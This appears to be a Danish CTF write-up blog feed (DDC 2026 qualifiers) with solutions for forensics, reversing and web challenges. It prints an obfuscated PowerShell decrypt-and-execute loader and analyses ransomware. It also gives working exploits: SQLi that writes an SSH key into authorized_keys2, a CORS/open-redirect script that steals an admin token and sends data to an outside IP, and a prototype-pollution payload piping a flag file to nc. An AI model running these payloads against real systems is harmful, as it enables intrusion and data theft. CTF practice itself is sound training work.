$oil = 'sJyoPvj4kXYXoMhkngQBXvyLzuaZ5nyYz0dGjrf/rBS5sK5f2cehoQgZsAh8Pbxz5fCzj2PJWLUsmQC+NPDPGPYTqwMEdCykTZAgzJrcdUHX7te1TWQYUwvOOkKZp/yXnLEY2hdTzPMAjj53NL/bTkHXeev7Ovax8seky7otl24um4KP/31Q3wMrLTidKTgaRp+GV0HiO/rBNXyFfp7ycrtr0pbHMRr+CjYOkKZODWJxSb/p9RSj4SzllJ4='

function people([int]$i) {
    faucet($i+15799)
    building($i+40775)
    eclipse($i+48058)
    murder($i+43573)
}

function sword([int]$i) {
    soap($i+31195)
    temple($i+17211)
    ring($i+38823)
    iris($i+19017)
    wheat($i+31513)
    target($i+6127)
    cycle($i+33408)
    theory($i+24266)
    clasp($i+36494)
    excess($i+43498)
    suffer($i+38248)
    casserole($i+910)
    assess($i+26116)
    row($i+27653)
    sub($i+8125)
    blossom($i+45967)
}

$everybody = 'sswWZQ882e5'

function linkage([int]$i) {
    ram($i+26216)
    succinct($i+55963)
    innate($i+16309)
}

$batting = 'wPIjxVmOAYoT9AaZTbfqcq9JsAxpVT4HbiEmCYgFtDE='

$colloquy = 55183

$lawsuit = '7Ab'

$feng = $osmosis
if ($osmosis -eq "") {
    $feng = Read-Host -Prompt 'Variable name'
}

$pig = Get-Variable -Name $feng -ValueOnly
$pavement = $quiche
if ($quiche -eq "") {
    $pavement = Read-Host -Prompt 'Key Variable name'
}
$nymph = Get-Variable -Name $pavement -ValueOnly
$reciprocity = [System.Convert]::FromBase64String($pig)
$diagram = [System.Convert]::FromBase64String($nymph)
$snowmobiling = @{TypeName="SYS"+"tem.s"+"e"+"cU"+"R"+"ItY"+".Cr"+"ypT"+"ogra"+"pHY"+".Ae"+"SMA"+"NA"+"ge"+"d";Property=@{("mOdE")=[System.Security.Cryptography.CipherMode]::CBC; Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; BlockSize=128;KeySize=256;("iv")=$reciprocity[0..15];}}
$inspiration = New-Object @snowmobiling
$inspiration.("key")=$diagram
[System.Text.Encoding]::UTF8.GetString($inspiration.("C"+"rEA"+"Te"+"decRY"+"PtOR")().TransformFinalBlock($reciprocity,16,$reciprocity.length-16)).Trim([char]0)|&((&g''"cm" ("?"+"?"+'x'))[1])

Fra forrige script fik vi -ArgumentList @("criminal", "batting"), så hvis vi går ud fra at $criminal er vores ciphertext og $batting er vores key, så kan vi dekryptere det ved at køre scriptet. Det giver os følgende output:

import base64
from Crypto.Cipher import AES

cipher_b64 = "3meYpkmXcslAd16177iQmSS97UXP69yzAbFFFe/Vx1J+qAEIujuMGZBBRsnhu78JRaQu2OMKhdmM7xuh3/zILBf0MmN6DtHFaX6j4Zpn4DSczADjrid2h1AATGw/ggOj"
key_b64 = "wPIjxVmOAYoT9AaZTbfqcq9JsAxpVT4HbiEmCYgFtDE="

cipherdata = base64.b64decode(cipher_b64)
key = base64.b64decode(key_b64)

iv = cipherdata[:16]
encrypted = cipherdata[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(encrypted)

print(plaintext)

Efter at have kørt dette script, får vi følgende output: $secret = "DDC{l1v1ng_0ff_th3_l4nd_1s_th3_b3st_f34l1ng_dc9ed4584956}"

Flag: DDC{l1v1ng_0ff_th3_l4nd_1s_th3_b3st_f34l1ng_dc9ed4584956}

Peaceful

I had this amazingly peaceful dream, but my memory of it is a bit off. My dream was based on events on the 14th of December. Can you help me find out what happened in my dream?

Password to the zip: QKej9r6KGAl1

Vedhæftet fil: forensics_peaceful.7z

Løsning: Jeg tror jeg fik løst denne opgave lidt ved et tilfælde, da jeg blot sad og greppede efter base64 strenge i .mem filen.

grep -aEo '[A-Za-z0-9+/]{40,}={0,2}' flag.mem
...
/Userland/Libraries/LibGUI/TreeViewModel
/Userland/Libraries/LibGUI/TreeViewModel
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Libraries/LibGUI/VimEditingEngine
/Userland/Applications/FileManager/PropertiesWindow
/Userland/Applications/FileManager/PropertiesWindow
/Userland/Applications/FileManager/PropertiesWindow
/Userland/Applications/FileManager/PropertiesWindow
/Userland/Libraries/LibGfx/ImageFormats/ImageDecoder
/Userland/Applications/FileManager/PropertiesWindow
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
ZN4Core6System6pledgeEN2AK10StringViewES2
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
/Userland/Libraries/LibShell/ImmediateFunctions
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA
ZN4Core6System6pledgeEN2AK10StringViewES2

Det er lidt spøjst at strengen H4sIABDzQ2kA/x3A0QmAUAgF0JWU3OC9PS6Rn/cvTSTaXejsvd6SX8HV0ZKwK/IkG3kfeIQWSo3+BuBQfyotAAAA kommer op så mange gange, og efter at have fyret den gennem en base64 decoder, får vi en gzip fil, som indeholder en tekstfil, og i den tekstfil er flaget: DDC{w000000w_d1d_y0u_4ctually_us3_v0l4t1l1ty} -> CyberChef Recipe

Flag: DDC{w000000w_d1d_y0u_4ctually_us3_v0l4t1l1ty}

Windows Forensics Hell

So ehmm… I tried moving away from Windows to support the OSS movement, but somehow it went wrong and now I have gotten a virus? I though viruses were only for Windows??

Vedhæftet fil: challenge.E01 (6GiB!) + Windows.Forensics.Hell.appendix_-_bad.author.edition.7z

Løsning: Vi får et E01 forensic image. Til trods for challenge-navnet er det et Linux ext4 filesystem indeni, ikke Windows. Et Nim-kompileret ransomware (update.exe) har krypteret flag.ddc så det er blevet til flag.ddc.enc (48 bytes, 3 AES-blokke), og begge filer er efterfølgende slettet.

Den krypterede fil er stadig intakt i inode 828428 og kan trækkes ud direkte:

ewfmount challenge.E01 /tmp/ewf_mount
icat -o 1054720 /tmp/ewf_mount/ewf1 828428 > flag.ddc.enc

Ransomwaren er slettet fra directory tree, men blokkene lever stadig. Firefox places.sqlite afslører at update.exe blev downloadet fra http://192.168.102.1:8000/update.exe (517.972 bytes). Standard recovery-tools returner en korrupt version, den rigtige vej er ext4 journalen (inode 8), som indeholder nylige transaktioner inkl. inode-data for den slettede fil:

icat -o 1054720 /tmp/ewf_mount/ewf1 8 > journal.bin
strings -t d journal.bin | grep "update.exe"
# → offset 20930616, inode 828403
# → extent: fysisk startblok 4560128, 127 blokke
blkcat -o 1054720 /tmp/ewf_mount/ewf1 4560128 127 > update_recovered.exe

Efter at support/admin holdet havde fundet en fejl i opgaven havde de vedlagt en password-beskyttet 7z-fil med den rene virus. Passwordet er uppercase SHA-256 af de recoveryede bytes trunkeret til 517.972 bytes (filstørrelsen fra inoden):

head -c 517972 update_recovered.exe | sha256sum
# 4ac23960e0d1f9d5165f6e8d7029da94199971a2686c1068be4936fed397dbd6
7z x "appendix.7z" -p4AC23960E0D1F9D5165F6E8D7029DA94199971A2686C1068BE4936FED397DBD6

Den rene update.exe er skrevet i Nim 2.2.4 med nimcrypto-0.6.3 (AES-256-CBC + SHA-256). Kildestien er bagt ind i .rdata:

D:\CTF\DDC\DDC2026\forensics\Windows Forensic Hell\encryptor\update.nim

Jeg reversede generateKey i radare2. Funktionen henter den aktuelle Nim call frame (TFrame), læser frame->procname (offset +8), som er C-strengen "generateKey", og konkatenerer den til kildestien. Nøglen er SHA-256 af den sammensatte streng. IV’en er hardcoded som 16 bytes på .rdata:0x140054340.

from Crypto.Cipher import AES
import hashlib

ciphertext = bytes.fromhex(
    "ec6e93bb9d44036e11b4e1e2c180247e"
    "132442a71655b99623829988e2df29cf"
    "9b11aad4fb4ece9f75cdd8b3ce11b43f"
)
key_material = (
    r"D:\CTF\DDC\DDC2026\forensics\Windows Forensic Hell\encryptor\update.nim"
    "generateKey"
)
key = hashlib.sha256(key_material.encode()).digest()
iv  = bytes.fromhex("02b5168cfd014263ac0dbf0f98492a5b")

plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
print(plaintext[:-plaintext[-1]].decode())

Tricket er at nøgle-afledningen bruger funktionens eget navn som runtime-data via Nim’s call frame-struktur, altså ingen hardcodet nøglestreng, men stadig fuldt deterministisk. "USERPROFILE" der også ses i binæren bruges til noget andet og er en falsk ledetråd :D

Flag: DDC{w0uld_y0u_l1k3_4_f0rk_f0r_th4t_c4rv1ng}

Reactor

The reactor has gone into lockdown mode. Please help us access it!

Vedhæftet fil: rev_reactor.zip

Løsning: Vi får EN stripped ELF. strace afslører at binæren loader eBPF-programmer og så spinner i en clock_nanosleep loop, flag-checking logikken er altså slet ikke i userspace, men lever inde i BPF-programmer.

Binæren indeholder et embedded BPF ELF-objekt som jeg ekstraktede ved at søge efter ELF magic bytes (\x7fELF) efter position 4:

python3 -c "
data = open('reactor','rb').read()
idx = data.index(b'\x7fELF', 4)
open('bpf_clean.o','wb').write(data[idx:idx+0xb000])
"
llvm-objdump -d bpf_clean.o > bpf_disasm.txt

Arkitekturen er en custom stack-based VM ovenpå Linux eBPF. Hver clock_nanosleep syscall er et “VM tick”, en BPF handler avancerer program counteren og loader næste instruktion i et PENDING_OPS map, en anden dispatcher til den rigtige opcode-handler via tail-calls. VM-bytecoden sidder i et BPF map med 308 u16 words, og de 23 encoded target-bytes sidder i mem[253:276].

Transformationen per tegn er:

Transformation

Inverteret:

encoded = [
    0xa4, 0xac, 0x93, 0x43, 0x69, 0x7c, 0x8f, 0xaa,
    0xb5, 0x86, 0x8a, 0xa7, 0x51, 0xa6, 0xcf, 0xdc,
    0xc1, 0xd7, 0xf3, 0x08, 0xd2, 0x1b, 0x2d
]

flag = ""
for b in range(23):
    key = ((b * 8) - 48) & 0xff
    flag += chr((encoded[b] ^ key) - 48)

print(flag)  # DDC{iT_runz_1n_da_c0r3}

Flag: DDC{iT_runz_1n_da_c0r3}

Mitosis

A program that evolves?

Vedhæftet fil: rev_mitosis.zip

Løsning: Vi får en stripped 64-bit ELF. Binæren læser en linje fra stdin, kører en transformation på inputtet og sammenligner resultatet med en hardcoded target i .rodata via memcmp. Mit første instinkt var at NOP’e jne efter memcmp og brute force mig til flaget, men det virkede ikke da transformationen ikke er reversibel på den måde.

Transformationen viser sig at være et cellular automaton der kører 20 generationer på input-bufferen, deraf challenge-navnet og den voldsomme størrelse på .text sektionen (~38.000 linjer disassembly i Binary Ninja, fuldt unrollet). Hver generation læser bits fra nabobyttes og flipper bits baseret på compile-time konstanter.

Target-bytes sidder på file offset 0x1d018 (50 bytes). Nøgletricket er at CA’en er deterministisk, giver man binæren target som input, transformerer den det, og resultatet ved memcmp er netop flaget. Jeg brugte GDB til at sætte et breakpoint på memcmp og læse rdi:

import subprocess
import struct
import os
import sys

BINARY = os.path.join(os.path.dirname(__file__), 'mitosis')

# 50-byte target fra .rodata -> offset 0x1d018
TARGET = bytes.fromhex(
    '541113dbfc36253ecf4c4e3038d8cd25'
    '3230d7eb26383efdce21321fcbdf6530'
    '37c9d6601a39f0e323351d74cb693033'
    'abfd'
)

GDB_SCRIPT = r"""
import gdb

class MemcmpBP(gdb.Breakpoint):
    def stop(self):
        rdi = int(gdb.parse_and_eval("$rdi"))
        rdx = int(gdb.parse_and_eval("$rdx"))
        buf = bytes(gdb.selected_inferior().read_memory(rdi, rdx))
        with open('/tmp/_mitosis_flag.bin', 'wb') as f:
            f.write(buf)
        return False

gdb.execute("set disable-randomization on")
gdb.execute("set debuginfod enabled off")
MemcmpBP("memcmp@plt")
gdb.execute("run < /tmp/_mitosis_input.bin")
gdb.execute("quit")
"""

def main():
    with open('/tmp/_mitosis_input.bin', 'wb') as f:
        f.write(TARGET + b'\n')

    with open('/tmp/_mitosis_hook.py', 'w') as f:
        f.write(GDB_SCRIPT)

    subprocess.run(
        ['gdb', '-q', '-batch', '-x', '/tmp/_mitosis_hook.py', BINARY],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )

    with open('/tmp/_mitosis_flag.bin', 'rb') as f:
        flag = f.read()

    print(f"Flag: {flag.decode()}")

if __name__ == '__main__':
    main()

$ python3 solve.py
Flag: DDC{travel_through_c3llul4r_aut0mata_space_time!!}

Flag: DDC{travel_through_c3llul4r_aut0mata_space_time!!}

Squeaky Clean 1

I made this challenge. It aint much, but it’s honest work. Fewer features, fewer unintendeds! That’s what I call a clean challenge!

Løsning: Siden er en simpel admin login-side. Efter at have prøvet nogle simple SQLi payloads fandt jeg hurtigt ud af at databasen er SQLite, og at den har en users tabel med én bruger:

sqlmap -u "http://squeaky-clean.cfire/" --method POST --data "username=admin&password=a" --batch --risk=3 --level=5 -T users --dump

Database: <current>
Table: users
[1 entry]
+----+---------------------------------------+----------+
| id | password                              | username |
+----+---------------------------------------+----------+
| 1  | PasswordIsNotRelevantForThisChallenge | admin    |
+----+---------------------------------------+----------+

Passwordet er som sagt ikke relevant. Login-formen kan bypasses med admin'-- som brugernavn, fordi backenden bygger SQL-forespørgslen med direkte string interpolation og kører den med executescript() hvilket er en funktion der tillader flere semikolon-separerede statements på en gang.

Dashboardet læser filer fra disk via ?file= uden nogen sanitering, så vi kan traversere frit med ../. Jeg tjekkede hvem der kører appen og fandt .ssh mappen:

LFI

Der eksisterer allerede en authorized_keys fil med en SSH public key, men authorized_keys2 gør ikke. OpenSSH tjekker begge filer som standard.

Siden executescript() tillader flere SQL-statements, kan vi bruge ATTACH DATABASE til at få SQLite til at oprette en ny database-fil på en arbitrær sti. Løsningen er at putte vores egen SSH public key ind i /home/user/.ssh/authorized_keys2. SSH’s authorized_keys parser læser filen linje for linje og ignorerer linjer den ikke forstår, inklusiv SQLite’s binære header, så vi behøver bare at sørge for at vores public key havner på en ren linje.

Jeg genererede et nøglepar og sendte payloaden:

import urllib.parse, urllib.request

pubkey = open('/tmp/b2rkey1.pub').read().strip()
payload = (
    f"admin'; ATTACH DATABASE '/home/user/.ssh/authorized_keys2' AS ssh2; "
    f"CREATE TABLE IF NOT EXISTS ssh2.a (b TEXT); "
    f"INSERT INTO ssh2.a VALUES (char(10)||char(10)||'{pubkey}'||char(10)||char(10));--"
)

data = urllib.parse.urlencode({'username': payload, 'password': 'x'}).encode()
req = urllib.request.Request('http://squeaky-clean.cfire/', data=data)
urllib.request.urlopen(req, timeout=10)
# Svar: "SQL Error: near "AND": syntax error" ← forventet, skrivningerne er allerede committed

Serveren svarer med en SQL-fejl, men det er forventet, executescript har allerede committet vores statements. Jeg verificerede via LFI at filen faktisk eksisterer (man får en UTF-8 decode-fejl i stedet for “file not found”, fordi SQLite’s binære header er non-UTF-8).

Derefter SSH’ede jeg ind:

ssh -i /tmp/b2rkey1 user@squeaky-clean.cfire

I hjemmemappen lå en SUID-binary ejet af root:

user@f3b7e07b69c8:~$ ls -la
-rwSr-Sr-x 1 root root 793560 Feb 25 20:27 flag.bin

user@f3b7e07b69c8:~$ /home/user/flag.bin
DDC{Sql1te_To_Auth0riz3d?!}

Flag: DDC{Sql1te_To_Auth0riz3d?!}

Corsica

Tired of snow? Bored of grey skies and cold rain? Then visit Corsica!

Løsning: En Flask/Gunicorn web-app. Challenget handler om at chaine tre bugs for at stjæle et flag fra admin-panelet via en admin bot. Jeg prøvede det klassiske, SQLi, SSTI, stored XSS, path traversal, intet. Det interssante er /tips-siden, der har en formular til at sende URLs til admin-bot’en, med en HTML-kommentar der afslører at serveren prepender https://localhost/ til vores input.

Bug 1, Open Redirect: GET /cookie_check?next=<url> redirecter til next uden validering, hvis cookie_consent=yes er sat som cookie. Admin-bot’en har den cookie, så man kan sende den derhen man vil:

/cookie_check?next=https://10.0.240.248:9443/exploit.html

Bug 2, CORS misconfiguration: Serveren reflekterer Origin-headeren direkte i Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true, på alle endpoints, inkl. /admin. Det betyder at JavaScript fra en hvilken som helst origin kan lave credentialed fetch() til https://localhost og læse svaret.

Bug 3, One-time admin token: /admin viser et token der er gyldigt i 5 sekunder. Et POST til /retrieve_flag med det token returnerer flaget.

Admin-bot’en tilgår appen som localhost internt, session-cookies er sat til localhost, ikke corsica.cfire. Jeg opsatte en HTTPS-server med self-signed cert (HeadlessChrome ignorer det) og serverede en exploit-side der:

  1. fetcher https://localhost/admin med credentials: "include", CORS tillader det og admin-cookies sendes med
  2. parser tokenet ud af HTML’en med regex
  3. POSTer til https://localhost/retrieve_flag med tokenet inden for 5 sekunder
  4. exfiltrerer flag-HTML’en via open redirect til vores HTTP-server (window.location bruger redirectet som tunnel, direkte fetch til HTTP ville blive blokeret som mixed-content)
const adminHtml = await fetch("https://localhost/admin", { credentials: "include" }).then(r => r.text());
const token = adminHtml.match(/name="token"\s+value="([^"]+)"/)[1];
const flagHtml = await fetch("https://localhost/retrieve_flag", {
  method: "POST", credentials: "include",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "token=" + encodeURIComponent(token)
}).then(r => r.text());

const b64 = btoa(unescape(encodeURIComponent(flagHtml)));
window.location = "https://localhost/cookie_check?next=http://10.0.240.248:9999/flag?d=" + encodeURIComponent(b64);

Triggeret ved at sende bot’en til /cookie_check?next=https://10.0.240.248:9443/exploit.html. Open redirect bruges altså to gange, først til at levere exploitet, dernæst som exfiltrations-tunnel.

import requests, urllib3, time, re, html, os, base64, json, subprocess, ssl
import http.server, threading
from urllib.parse import urlparse, parse_qs, unquote, quote

urllib3.disable_warnings()
TARGET  = "https://corsica.cfire"
OUR_IP  = "10.0.240.248"
HTTP_PORT = 9999
HTTPS_PORT = 9443
OUR_UUID = "c103c4dd71d14d548b26b06a89bddd6d" #make a account
SESSION = "eyJ1c2VybmFtZSI6InRlc3R1c2VyMTIzIn0.aaio0A.bpirzQCXbooQ0WWHEb4_RMt7ht0" #make a account

EXPLOIT_HTML = open("exploit.html", "rb").read()

received = []

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        info = {
            "path": self.path, "from": str(self.client_address),
            "ua": self.headers.get("User-Agent",""),
            "cookie": self.headers.get("Cookie",""),
        }
        received.append(info)
        print(f"\n{'='*50}")
        print(f"[HIT] {self.path}")
        print(f"  UA: {info['ua'][:80]}")
        print(f"  Cookie header: {info['cookie'][:200]}")

        if parsed.path == "/flag":
            if "d" in params:
                try:
                    decoded = base64.b64decode(params["d"][0] + "==").decode("utf-8", errors="replace")
                    print(f"\n{'!'*50}\n🚩 FLAG DATA!\n{'!'*50}")
                    flags = re.findall(r'DDC\{[^}]+\}|flag\{[^}]+\}|CTF\{[^}]+\}', decoded, re.I)
                    if flags:
                        print(f"FLAG: {flags}")
                    print(decoded[:3000])
                    with open("/tmp/flag_data2.html", "w") as f:
                        f.write(decoded)
                except Exception as e:
                    print(f"Decode error: {e}, raw: {params['d'][0][:200]}")
            self.send_response(200); self.end_headers(); self.wfile.write(b"ok"); return

        if parsed.path == "/error":
            err = unquote(params.get("e", [""])[0])
            print(f"  [!] JS ERROR: {err}")
            self.send_response(200); self.end_headers(); self.wfile.write(b"ok"); return

        if parsed.path == "/exploit.html":
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(EXPLOIT_HTML)))
            self.end_headers()
            self.wfile.write(EXPLOIT_HTML); return

        self.send_response(200); self.end_headers(); self.wfile.write(b"ok")

    def log_message(self, *a): pass

os.system(
    "openssl req -x509 -newkey rsa:2048 -keyout /tmp/ctf_key.pem -out /tmp/ctf_cert.pem "
    "-days 1 -nodes -subj '/CN=10.0.240.248' "
    "-addext 'subjectAltName=IP:10.0.240.248' 2>/dev/null"
)

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tmp/ctf_cert.pem", "/tmp/ctf_key.pem")
https_server = http.server.HTTPServer(("0.0.0.0", HTTPS_PORT), Handler)
https_server.socket = ctx.wrap_socket(https_server.socket, server_side=True)
t_https = threading.Thread(target=https_server.serve_forever, daemon=True)
t_https.start()

s = requests.Session()
s.verify = False
s.cookies.set("session", SESSION)
s.cookies.set("cookie_consent", "yes")

os.remove("/tmp/flag_data.html") if os.path.exists("/tmp/flag_data.html") else None

s.post(f"{TARGET}/profile/{OUR_UUID}", data={"bio": "WAITING_FOR_HTTPS_EXPLOIT"})
exploit_url   = f"https://{OUR_IP}:{HTTPS_PORT}/exploit.html"
redirect_path = f"/cookie_check?next={exploit_url}"
ok = s.post(f"{TARGET}/request_admin",
            data={"target_url": redirect_path, "desc": "check this"},
            timeout=10)

for i in range(15):
    time.sleep(1)

for r in received:
    print(f"  {r}")

r2 = s.get(f"{TARGET}/profile/{OUR_UUID}")
bio = re.search(r'<textarea[^>]*>(.*?)</textarea>', r2.text, re.DOTALL)
if bio:
    bio_content = html.unescape(bio.group(1))
    flags = re.findall(r'DDC\{[^}]+\}|flag\{[^}]+\}|CTF\{[^}]+\}', bio_content, re.I)
    if flags:
        print(f"FLAG: {flags}")

for fname in ["/tmp/flag_data.html", "/tmp/flag_data2.html"]:
    if os.path.exists(fname):
        with open(fname) as f:
            fc = f.read()
        flags = re.findall(r'DDC\{[^}]+\}|flag\{[^}]+\}|CTF\{[^}]+\}', fc, re.I)
        if flags:
            print(f"🚩 FLAG: {flags}")

Flag: DDC{c0rsic4_w3lcomes_y0u_w1th_0pen_arms}

Backup

I’m just a simple backup service.

Vedhæftet fil: web_backup.zip

Løsning: Vi får en Node.js service der tager en JSON-config, merger den med defaults og til sidst kører spawn("echo", ["System OK"]).

Merge-funktionen blokerer __proto__, men ikke constructor.prototype. Derfor kan jeg prototype pollute Object.prototype via user input.

spawn-options indeholder kun {stdio, timeout}, så felter som shell og env bliver slået op via prototype-chainen. Jeg sætter derfor:

  • shell = "/proc/self/exe"
  • env.NODE_OPTIONS = "--require /proc/self/environ"

Det gør at processen i praksis kører:

node --check "echo System OK"

men med en --require først.

Jeg kan ikke skrive filer, så i stedet loader jeg /proc/self/environ. Den indeholder environment variables (KEY=value\0...). Hvis første variabel er JavaScript payload der slutter med //, bliver resten af filen kommenteret ud, fordi NUL ikke er en JS line terminator.

Payloaden eksekverer så cat /app/flag.txt og sender flaget ud.

import sys, json, ssl, urllib.request

def exploit(target, host, port):
    cmd = f"cat /app/flag.txt|nc {host} {port}"
    payload = {
        "constructor": {
            "prototype": {
                "shell": "/proc/self/exe",
                "env": {
                    "_PAYLOAD": f"require('child_process').execSync('{cmd}')//" ,
                    "NODE_OPTIONS": "--require /proc/self/environ",
                    "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
                    "env": None,
                    "shell": None,
                }
            }
        }
    }
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    req = urllib.request.Request(
        target.rstrip("/") + "/archive",
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, context=ctx, timeout=15) as r:
        print(json.loads(r.read()))

exploit(sys.argv[1], sys.argv[2], int(sys.argv[3]))

Flag: DDC{pr0t0type_p0llution_1s_ins4ne}

]]>DDC - Qualifiers Junior 2026 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2026/Fri, 20 Feb 2026 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2026/<h2 id="scoreboard">Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/ddc_qual_2026/scoreboard.png" alt="Scoreboard"></p> <hr> <p><a href="https://ha1fdan.xyz/ddc_qual_2026/my-solves.png">Link til mine løste opgaver inklusiv tidspunkt</a></p> <h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem">Opgaver løst (I den rækkefølge jeg løste dem):</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> </tr> </thead> <tbody> <tr> <td><a href="#-broken-invoice">⭐️ Broken Invoice</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#-pepstein">⭐️ Pepstein</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#-alog">⭐️ alog</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#binary-caesar">Binary Caesar</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#fibonacci-caesar">Fibonacci Caesar</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#-hasher-trust-the-hash-they-said">⭐️ Hasher: Trust the Hash (They Said)</a></td> <td>Misc</td> </tr> <tr> <td><a href="#wifi-heist">WiFi Heist</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#call-me-maybe">Call Me Maybe</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#-g-server">⭐️ G-Server</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#-existential-loading-bar">⭐️ Existential loading bar</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#unbake-the-cake">Unbake the cake</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#pleasenocry">PleaseNoCry</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#disk-encryption">Disk Encryption</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#fear-of-long-words">fear of long words</a></td> <td>Binary</td> </tr> <tr> <td><a href="#kopi-pasta">kopi pasta</a></td> <td>Boot to root</td> </tr> <tr> <td><a href="#bootstrap-betrayal">Bootstrap Betrayal</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#persistance-is-key">Persistance is Key</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#jeg-har-mistet-min-pakke">Jeg har mistet min pakke</a></td> <td>Misc</td> </tr> <tr> <td><a href="#the-contract">The Contract</a></td> <td>Cryptography</td> </tr> </tbody> </table> <hr> <h2 id="-broken-invoice">⭐️ Broken Invoice</h2> <p>Jeg har lige modtaget en faktura fra et firma, men den virker til at være beskadiget.<br> Kan du hjælpe mig med at finde ud af, hvad der er galt med den?</p>Scoreboard:

Scoreboard

Link til mine løste opgaver inklusiv tidspunkt

Opgaver løst (I den rækkefølge jeg løste dem):

Challenge Category
⭐️ Broken Invoice Forensics
⭐️ Pepstein Forensics
⭐️ alog Forensics
Binary Caesar Cryptography
Fibonacci Caesar Cryptography
⭐️ Hasher: Trust the Hash (They Said) Misc
WiFi Heist Reverse Engineering
Call Me Maybe Reverse Engineering
⭐️ G-Server Web exploitation
⭐️ Existential loading bar Web exploitation
Unbake the cake Reverse Engineering
PleaseNoCry Web exploitation
Disk Encryption Cryptography
fear of long words Binary
kopi pasta Boot to root
Bootstrap Betrayal Web exploitation
Persistance is Key Forensics
Jeg har mistet min pakke Misc
The Contract Cryptography

⭐️ Broken Invoice

Jeg har lige modtaget en faktura fra et firma, men den virker til at være beskadiget.
Kan du hjælpe mig med at finde ud af, hvad der er galt med den?

Vedhæftet fil: invoice.7z

Løsning: Ved at bruge xxd på filen kunne jeg se at nogle af magic bytes var blevet ændret, og at det var en PDF fil. Efter at have googlet efter PDF magic bytes, kunne jeg åbne filen i en hex editor og rette magic bytes tilbage til det korrekte, hvorefter jeg kunne åbne PDF’en og læse flaget.

xxd invoice | head

00000000: 0000 4446 2d31 2e34 0a25 f6e4 fcdf 0a31  ..DF-1.4.%.....1
...

hexedit invoice

00000000   25 50 44 46  2D 31 2E 34  0A 25 F6 E4  FC DF 0A 31  20 30 20 6F  62 6A 0A 3C  3C 0A 2F 54  79 70 65 20  %PDF-1.4.%.....1 0 obj.<<./Type

invoice PDF

Flag: DDC{ANOTHER_INVOICE_TO_PRINT}

⭐️ Pepstein

